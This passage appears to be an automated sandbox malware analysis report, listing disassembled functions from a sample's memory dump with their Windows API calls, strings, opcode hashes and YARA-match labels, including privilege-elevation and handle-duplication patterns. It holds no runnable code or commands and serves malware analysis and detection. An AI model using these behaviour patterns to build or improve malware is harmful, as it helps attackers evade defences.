send.WS2_32 ref: 00000218BFBCAE08

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: send
String ID:
API String ID: 2809346765-0
Opcode ID: af342f55a76444dc29af71e8fb4152a83f454f5b800a0383b076c9e997804f61
Instruction ID: 4561201c095bc01ab863edf4aa402dbf0914e70cd3f5bbb866d2b8c59dc234b5
Opcode Fuzzy Hash: af342f55a76444dc29af71e8fb4152a83f454f5b800a0383b076c9e997804f61
Instruction Fuzzy Hash: 3A01D631719A8481EB509F1AF98425EA7A0F798FD8F585130EF5D83F49DF28C9958740

Function 00000218BFB858F3 Relevance: 1.5, APIs: 1, Instructions: 33fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32 ref: 00000218BFB85936

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: c09ff1b7f36846cd2f70e20038cef65db65028f9499b4e4cc306786389cb5efe
Instruction ID: 76f0ea829e52ddd1c85e5e0432b02cf5dd547183d20adb7ec23ad50aceb484c5
Opcode Fuzzy Hash: c09ff1b7f36846cd2f70e20038cef65db65028f9499b4e4cc306786389cb5efe
Instruction Fuzzy Hash: E001F43621CA8085EA71DF52F4987DEA364F7D9B94F805012DE9D93B59DE38C986CB00

Function 00000218BFBDED2C Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000218BFBDED4B

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 8baf8acf487f5caa78a15ef12004ef049afcc069522c3c2ef46e844b516c0117
Instruction ID: 3e258139591118a06fcbf2b665d6508c38eadfed7ce0d428b8bc11e3d46c8ee1
Opcode Fuzzy Hash: 8baf8acf487f5caa78a15ef12004ef049afcc069522c3c2ef46e844b516c0117
Instruction Fuzzy Hash: 7CE0683531D64182EF342BB4E1C93EC73609B207B8F144721A734833C6CF348D508602

Function 00000218BFC097D0 Relevance: 1.5, APIs: 1, Instructions: 9fileCOMMON

Download Yara Rule

APIs

FindNextFileW.KERNEL32 ref: 00000218BFC097D4

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: FileFindNext
String ID:
API String ID: 2029273394-0
Opcode ID: 4177796e15072c585db232ab642f29accb6d05ea1f689265af403d42f2bb1474
Instruction ID: 9abaaf6aa199693ec46fe3d425770d4359d86cc945d5942480ed5d357c5c8926
Opcode Fuzzy Hash: 4177796e15072c585db232ab642f29accb6d05ea1f689265af403d42f2bb1474
Instruction Fuzzy Hash: 59C04C25F19515C1F6541F765CDA7DE1290B768748F404020C604C0650DD2C87D74611

Function 00000218BFC0B3C4 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32 ref: 00000218BFC0B3CD

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: 5d96549d17151685d9874b2efd5e6665c09aeaad6767ec6861ada1b691878f94
Instruction ID: 6f4dd0105a6107e248fb84d53b220ef4aa14026c762606275316afe2981ff614
Opcode Fuzzy Hash: 5d96549d17151685d9874b2efd5e6665c09aeaad6767ec6861ada1b691878f94
Instruction Fuzzy Hash: 72B09236A188C0C3D611EF04E89608D7331F7A4B0CFD00000E28D82A24CE2CDA2A8E04

Function 00000218BFBEBBB8 Relevance: 1.3, APIs: 1, Instructions: 36memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00000218BFBEBC0D

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 735fdacdf537e6d17f030f13e349f9107f2389d02998886e9996cc406814ac26
Instruction ID: f7789df0869916f13b8091958bec8f1130fabf04935611623d6e8207a30d6b2c
Opcode Fuzzy Hash: 735fdacdf537e6d17f030f13e349f9107f2389d02998886e9996cc406814ac26
Instruction Fuzzy Hash: 59F06D7430D24581FF585B6298E93ED2390AB64B58F0C98314A2AC67C2DE2CCE818610

Function 00000218BFBEDEDC Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32 ref: 00000218BFBEDF1A

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: ad1b43cdb7c3550550fd4afa13c905d117ea5c1f34bfd66f5f885cc22fb7391c
Instruction ID: 2e6ed25d770d8d564dd1d20f27b207cf3f9c85ffead3b100a79a51ca3bf269c5
Opcode Fuzzy Hash: ad1b43cdb7c3550550fd4afa13c905d117ea5c1f34bfd66f5f885cc22fb7391c
Instruction Fuzzy Hash: 04F08C3071D24585FF549BB158DC3ED23905B687B8F085A205D7AC62C2DEACCE808950

Function 00007FF7AA122B48 Relevance: 1.3, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.KERNEL32(?,?,?,00007FF7AA12C651,?,?,00000000,00007FF7AA12BF97,?,?,?,00007FF7AA12A29F,?,?,?,00007FF7AA12A195), ref: 00007FF7AA122B86

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 5c270841806ca0d65908707fc072f6ad565d7e89aec5f4c22d169a1f53078808
Instruction ID: 62f9c1b6520d001bdef07d020bf54bfb21dd944f7d6210ecd764dd5d416d88ad
Opcode Fuzzy Hash: 5c270841806ca0d65908707fc072f6ad565d7e89aec5f4c22d169a1f53078808
Instruction Fuzzy Hash: 34F05401F0F206E5FE567B61F94177992604F44760F8A47B4DD2D4A2E1DD6CE44A4730

Non-executed Functions

Function 00000218BFBD43F0 Relevance: 34.3, APIs: 18, Strings: 1, Instructions: 1015stringmemorynativeCOMMON

Download Yara Rule

APIs

RtlAcquirePebLock.NTDLL ref: 00000218BFBD4433
NtAllocateVirtualMemory.NTDLL ref: 00000218BFBD446B
lstrcpyW.KERNEL32 ref: 00000218BFBD44CD
lstrcatW.KERNEL32 ref: 00000218BFBD4582
NtAllocateVirtualMemory.NTDLL ref: 00000218BFBD4609
lstrcpyW.KERNEL32 ref: 00000218BFBD46BC
RtlInitUnicodeString.NTDLL ref: 00000218BFBD46D1
RtlInitUnicodeString.NTDLL ref: 00000218BFBD46E6
LdrEnumerateLoadedModules.NTDLL ref: 00000218BFBD46F9
RtlReleasePebLock.NTDLL ref: 00000218BFBD46FF

Part of subcall function 00000218BFBC8E10: SHGetKnownFolderPath.SHELL32 ref: 00000218BFBC8E69
Part of subcall function 00000218BFBC8E10: CoTaskMemFree.OLE32 ref: 00000218BFBC8F2A

CoInitializeEx.OLE32 ref: 00000218BFBD47AA
lstrcpyW.KERNEL32 ref: 00000218BFBD4989
lstrcatW.KERNEL32 ref: 00000218BFBD4B8E
CoGetObject.OLE32 ref: 00000218BFBD4BAC
lstrcpyW.KERNEL32 ref: 00000218BFBD5229
lstrcatW.KERNEL32 ref: 00000218BFBD544C
CoGetObject.OLE32 ref: 00000218BFBD546A
CoUninitialize.OLE32 ref: 00000218BFBD5932

Strings

0, xrefs: 00000218BFBD506A

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$AllocateInitLockMemoryObjectStringUnicodeVirtual$AcquireEnumerateFolderFreeInitializeKnownLoadedModulesPathReleaseTaskUninitialize
String ID: 0
API String ID: 1424456515-4108050209
Opcode ID: 6ffb8313ed9f69c499e31eddb7b03b728e50a55c1d765e9ed0a63387d906397a
Instruction ID: 1e80c9c733e10fc0e4f7312277770ecda18a93acb0f5778a7294b3f590675658
Opcode Fuzzy Hash: 6ffb8313ed9f69c499e31eddb7b03b728e50a55c1d765e9ed0a63387d906397a
Instruction Fuzzy Hash: 9AC2A83662AF948AD7908F69E88169DB3B5F788B88F105219EECD57F18EF38C154C740

Function 00000218BFBD3CF0 Relevance: 23.1, APIs: 10, Strings: 3, Instructions: 351nativelibraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 00000218BFBD3D36
GetProcAddress.KERNEL32 ref: 00000218BFBD3D46
OpenProcess.KERNEL32 ref: 00000218BFBD3D78
NtQuerySystemInformation.NTDLL ref: 00000218BFBD3DA0
NtQuerySystemInformation.NTDLL ref: 00000218BFBD3DCE
GetCurrentProcess.KERNEL32 ref: 00000218BFBD3E93
NtQueryObject.NTDLL ref: 00000218BFBD3ED9
GetFinalPathNameByHandleA.KERNEL32 ref: 00000218BFBD3FCD
CloseHandle.KERNEL32 ref: 00000218BFBD40E8
CloseHandle.KERNEL32 ref: 00000218BFBD4178

Strings

NtDuplicateObject, xrefs: 00000218BFBD3D3F
ntdll.dll, xrefs: 00000218BFBD3D2F
File, xrefs: 00000218BFBD3F0A

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Handle$Query$CloseInformationProcessSystem$AddressCurrentFinalModuleNameObjectOpenPathProc
String ID: File$NtDuplicateObject$ntdll.dll
API String ID: 2729825427-3955674919
Opcode ID: aeaabd781365e64ea288e3f4743e5fff97b0c8a80adc1127304e7ba6f14734e0
Instruction ID: c5051c6e2893b8ddc2a452fb1583148b264e3b2cdef07ce20fdfcca3c4dc8710
Opcode Fuzzy Hash: aeaabd781365e64ea288e3f4743e5fff97b0c8a80adc1127304e7ba6f14734e0
Instruction Fuzzy Hash: 1AE1E476718A84CAFB14DF65D4A83EC27A1E764B8CF408121DE5D97B99DF38CA89C300

Function 00000218BFBBF040 Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 218COMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32 ref: 00000218BFBBF09F

Strings

@, xrefs: 00000218BFBBF226

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Initialize
String ID: @
API String ID: 2538663250-2766056989
Opcode ID: 426d5b210e34d6644ca4b902c622b4a36b26bf826e5e2e516d273282e195be65
Instruction ID: 2f160a3fb610c82292f9968c44a6ec48841876edccc33b666dca0f0cd937a7e7
Opcode Fuzzy Hash: 426d5b210e34d6644ca4b902c622b4a36b26bf826e5e2e516d273282e195be65
Instruction Fuzzy Hash: DEA17A72B08A508AF710CF79E4983DD77A1F798B8CF004625DE5A97A99DF38C694C344

Function 00000218BFBC51E0 Relevance: 21.5, APIs: 1, Strings: 11, Instructions: 465COMMON

Download Yara Rule

APIs

ShellExecuteW.SHELL32 ref: 00000218BFBC5767

Strings

.cmd, xrefs: 00000218BFBC52A3
.vbs, xrefs: 00000218BFBC52D2
open, xrefs: 00000218BFBC56DD
ios_base::failbit set, xrefs: 00000218BFBC5985
.exe, xrefs: 00000218BFBC5245
.exe, xrefs: 00000218BFBC532D
ios_base::badbit set, xrefs: 00000218BFBC597A
.ps1, xrefs: 00000218BFBC5274
runas, xrefs: 00000218BFBC56E6
ios_base::eofbit set, xrefs: 00000218BFBC598C
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+=-&^%$#@!(){}[},.;', xrefs: 00000218BFBC5374

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ExecuteShell
String ID: .cmd$.exe$.exe$.ps1$.vbs$abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+=-&^%$#@!(){}[},.;'$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set$open$runas
API String ID: 587946157-4093014531
Opcode ID: 6509813669dfaeaa064a6cbbc8ef33ce02ea974a5e13a0021224223f6e439dbe
Instruction ID: 7ec009ebdca52fb650529e78570579e530320d259ffed2da599963d9a223b19a
Opcode Fuzzy Hash: 6509813669dfaeaa064a6cbbc8ef33ce02ea974a5e13a0021224223f6e439dbe
Instruction Fuzzy Hash: 9522D473A18B8489EB10DF34E8883DE37A1F79479CF505216EA5D87AA9DF74C684C740

Function 00000218BFBF6F14 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000218BFBE81FC: GetLastError.KERNEL32 ref: 00000218BFBE820B
Part of subcall function 00000218BFBE81FC: FlsGetValue.KERNEL32 ref: 00000218BFBE8220
Part of subcall function 00000218BFBE81FC: SetLastError.KERNEL32 ref: 00000218BFBE82AB

TranslateName.LIBCMT ref: 00000218BFBF6F7E
TranslateName.LIBCMT ref: 00000218BFBF6FB9
GetACP.KERNEL32 ref: 00000218BFBF7000
IsValidCodePage.KERNEL32 ref: 00000218BFBF7038
GetLocaleInfoW.KERNEL32 ref: 00000218BFBF71F5

Strings

utf8, xrefs: 00000218BFBF711C

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ErrorLastNameTranslate$CodeInfoLocalePageValidValue
String ID: utf8
API String ID: 3069159798-905460609
Opcode ID: 4309449c26b629e9b6de698707476955217e9cbe9722d2e68f3c85218e94a805
Instruction ID: e2b3ed36f6d7f233b0fe125d1f2ccc88b59bec112c5bce29c8a93341fdcc2b95
Opcode Fuzzy Hash: 4309449c26b629e9b6de698707476955217e9cbe9722d2e68f3c85218e94a805
Instruction Fuzzy Hash: C091CD3220874086FB24AF21D8997ED23A5FBA4B88F548125DE98C7B85DF38CF55C741

Function 00000218BFBF795C Relevance: 10.7, APIs: 7, Instructions: 171COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00000218BFBE81FC: GetLastError.KERNEL32 ref: 00000218BFBE820B
Part of subcall function 00000218BFBE81FC: FlsGetValue.KERNEL32 ref: 00000218BFBE8220
Part of subcall function 00000218BFBE81FC: SetLastError.KERNEL32 ref: 00000218BFBE82AB

Part of subcall function 00000218BFBE81FC: FlsSetValue.KERNEL32 ref: 00000218BFBE8241

GetUserDefaultLCID.KERNEL32 ref: 00000218BFBF7ACC

Part of subcall function 00000218BFBE81FC: FlsSetValue.KERNEL32 ref: 00000218BFBE826E
Part of subcall function 00000218BFBE81FC: FlsSetValue.KERNEL32 ref: 00000218BFBE827F
Part of subcall function 00000218BFBE81FC: FlsSetValue.KERNEL32 ref: 00000218BFBE8290

EnumSystemLocalesW.KERNEL32 ref: 00000218BFBF7AB3
ProcessCodePage.LIBCMT ref: 00000218BFBF7AF6
IsValidCodePage.KERNEL32 ref: 00000218BFBF7B08
IsValidLocale.KERNEL32 ref: 00000218BFBF7B1E
GetLocaleInfoW.KERNEL32 ref: 00000218BFBF7B7A
GetLocaleInfoW.KERNEL32 ref: 00000218BFBF7B96

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Value$Locale$CodeErrorInfoLastPageValid$DefaultEnumLocalesProcessSystemUser
String ID:
API String ID: 2591520935-0
Opcode ID: 5eb0d27aa7dc3a9912447742f13a9ce850b1caaedf69b48f01ffc0c9247ee539
Instruction ID: ed521de4137bea347fe94656986a246838250e687acb906bea11cde5aa5c0d9e
Opcode Fuzzy Hash: 5eb0d27aa7dc3a9912447742f13a9ce850b1caaedf69b48f01ffc0c9247ee539
Instruction Fuzzy Hash: E1719B327186108AFB149F60D8A87EC33A4FB69B4CFA444A58E9993795EF38CF45C310

Function 00000218BFBB4710 Relevance: 9.2, APIs: 4, Strings: 1, Instructions: 410COMMON

Download Yara Rule

APIs

__std_exception_destroy.LIBVCRUNTIME ref: 00000218BFBB48C4
__std_exception_destroy.LIBVCRUNTIME ref: 00000218BFBB48D2
__std_exception_destroy.LIBVCRUNTIME ref: 00000218BFBB4B55
__std_exception_destroy.LIBVCRUNTIME ref: 00000218BFBB4B63

Strings

value, xrefs: 00000218BFBB47EA, 00000218BFBB4A83

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: __std_exception_destroy
String ID: value
API String ID: 2453523683-494360628
Opcode ID: bf267fe5af5e895c7c4d6d8ecbf4798ffec0ed1ec636fa69b13456a1e4242072
Instruction ID: c9dfaf687681cc7ad4bcd44a0ef04472868dc13683a01f3f6d568fc289ae9ce1
Opcode Fuzzy Hash: bf267fe5af5e895c7c4d6d8ecbf4798ffec0ed1ec636fa69b13456a1e4242072
Instruction Fuzzy Hash: 4E029032618BC085EB11CF74E4983ED6761F7A57A8F505216FA9D83ADADF78CA85C300

Function 00000218BFBDF920 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00000218BFBDF999
RtlLookupFunctionEntry.KERNEL32 ref: 00000218BFBDF9B1
RtlVirtualUnwind.KERNEL32 ref: 00000218BFBDF9EC
IsDebuggerPresent.KERNEL32 ref: 00000218BFBDFA25
SetUnhandledExceptionFilter.KERNEL32 ref: 00000218BFBDFA2F
UnhandledExceptionFilter.KERNEL32 ref: 00000218BFBDFA3A

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: c7f70f128318b326f672a7b0d6647dc5eb587961ea58d1b4d09a7c2ba848fd84
Instruction ID: 6373e12be5f19a785c3f6dea4fd12199138fdb0d52e385cf15f2c008d12fa855
Opcode Fuzzy Hash: c7f70f128318b326f672a7b0d6647dc5eb587961ea58d1b4d09a7c2ba848fd84
Instruction Fuzzy Hash: 0C316036218B8086EB60CF25E8943DE77A4F798758F500116EA9D83BA9DF38C685CB00

Function 00007FF7AA1200B0 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7AA120129
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7AA120141
RtlVirtualUnwind.KERNEL32 ref: 00007FF7AA12017C
IsDebuggerPresent.KERNEL32 ref: 00007FF7AA1201B5
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7AA1201BF
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7AA1201CA

Memory Dump Source

Source File: 00000008.00000002.2193923982.00007FF7AA101000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF7AA100000, based on PE: true

Associated: 00000008.00000002.2193868965.00007FF7AA100000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA138000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2193964607.00007FF7AA376000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194109603.00007FF7AA380000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000008.00000002.2194152325.00007FF7AA383000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ff7aa100000_3UuxTH6FMX.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: 3ef0962f47fead2417061adc38ad2713cf90374c45b282237d95016c72f16019
Instruction ID: 0b9c09dd4839ad58900178bb3e932b716a3c8c27b5b52c6b1a5d038538b6f5b5
Opcode Fuzzy Hash: 3ef0962f47fead2417061adc38ad2713cf90374c45b282237d95016c72f16019
Instruction Fuzzy Hash: 8C31A336A05B81D6E7659F24E8402AEB3B0FB88758F910136EA8D43B65EF3CD54A8710

Function 00000218BFC0BB14 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000218BFC0BB75
IsDebuggerPresent.KERNEL32 ref: 00000218BFC0BB8D
OutputDebugStringW.KERNEL32 ref: 00000218BFC0BB9E

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 00000218BFC0BB97

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: DebugDebuggerErrorLastOutputPresentString
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 389471666-631824599
Opcode ID: e8ffe009acab376759065dd43441e42d099b308a5e20a56206d0bc25ee25ae09
Instruction ID: 4eb15c1f01a0c2dc99882d9b145a1088e5db6197554134b8db5113ab1b0297e5
Opcode Fuzzy Hash: e8ffe009acab376759065dd43441e42d099b308a5e20a56206d0bc25ee25ae09
Instruction Fuzzy Hash: 05115A32618B60A7F7049B26EAE83ED33A5FB64749F404125C649C3A65EF38D6F8C710

Function 00000218BFBE7348 Relevance: 6.1, APIs: 4, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 00000218BFBE739F
GetSystemInfo.KERNEL32 ref: 00000218BFBE73B8
VirtualAlloc.KERNEL32 ref: 00000218BFBE7426
VirtualProtect.KERNEL32 ref: 00000218BFBE7441

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: Virtual$AllocInfoProtectQuerySystem
String ID:
API String ID: 3562403962-0
Opcode ID: 324fd5cd604fef47d1152131e1f7c01459585a6c12e9a2e3e67a5e0172bc20d3
Instruction ID: c9fed4f65e1a3c71083c0521b171fd9555774f574aa815ced33e3fdf56e0eee6
Opcode Fuzzy Hash: 324fd5cd604fef47d1152131e1f7c01459585a6c12e9a2e3e67a5e0172bc20d3
Instruction Fuzzy Hash: 03314932314A949EEB20CF31D8987DD23A5F758B8CF944426EA5D87B58DF38DA4AC700

Function 00000218BFBFDC18 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000218BFBFDC44
GetCurrentThreadId.KERNEL32 ref: 00000218BFBFDC52
GetCurrentProcessId.KERNEL32 ref: 00000218BFBFDC5E
QueryPerformanceCounter.KERNEL32 ref: 00000218BFBFDC6E

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: f06392d29159ea5021ae0933302a5494cfde722d0989828b5d6bd782ea4d1856
Instruction ID: 75ac7a2525ff0d963e8e428e5c4d388bfb591f51342b580af2cac69c1cdb997a
Opcode Fuzzy Hash: f06392d29159ea5021ae0933302a5494cfde722d0989828b5d6bd782ea4d1856
Instruction Fuzzy Hash: D311FA36715F108AFB00DF60E8A93EC33A4F769758F441E25EA6D86BA4DF78C2958340

Function 00000218BFBB8950 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 376COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000218BFBB8BAE

Strings

parse_error, xrefs: 00000218BFBB89DE
value, xrefs: 00000218BFBB98D3

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: __std_exception_copy
String ID: parse_error$value
API String ID: 592178966-1739288027
Opcode ID: dd6b2b3d65c090a64a4caee53a00a4ef71476eaf1cd991c4dbe8aa48bce2a379
Instruction ID: b19ed54f32bc8c9604dc337cbc888a224ec47fa28e0c97deae44d00c2489f695
Opcode Fuzzy Hash: dd6b2b3d65c090a64a4caee53a00a4ef71476eaf1cd991c4dbe8aa48bce2a379
Instruction Fuzzy Hash: B5F1E572B18A8095EB10DF74E8993DD2362F7A539CF905212EA4C97ADADF74CB85C340

Function 00000218BFC09480 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32 ref: 00000218BFC094A6
FormatMessageA.KERNEL32 ref: 00000218BFC094D9

Strings

!x-sys-default-locale, xrefs: 00000218BFC09499

Memory Dump Source

Source File: 00000008.00000002.2193045503.00000218BFB50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000218BFB50000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_218bfb50000_3UuxTH6FMX.jbxd

Yara matches

Similarity

API ID: FormatInfoLocaleMessage
String ID: !x-sys-default-locale
API String ID: 4235545615-2729719199
Opcode ID: f19c835850623712fbca22d426e0c2013945c380ca8add72a55f3f09a2f97b50
Instruction ID: e29755c78191c892e4063edf2cbd81d5cc746230601ca638db426173a55cc139
Opcode Fuzzy Hash: f19c835850623712fbca22d426e0c2013945c380ca8add72a55f3f09a2f97b50
Instruction Fuzzy Hash: 8501B572B1879182F7218F22F4A87DE67A1F7A9788F548115DA4587F94CF3CC685CB00

Function 00000218BFBF73D8 Relevance: 4.7, APIs: 3, Instructions: 167COMMON

Download Yara Rule

APIs

Part of subcall function 00000218BFBE81FC: GetLastError.KERNEL32 ref: 00000218BFBE820B
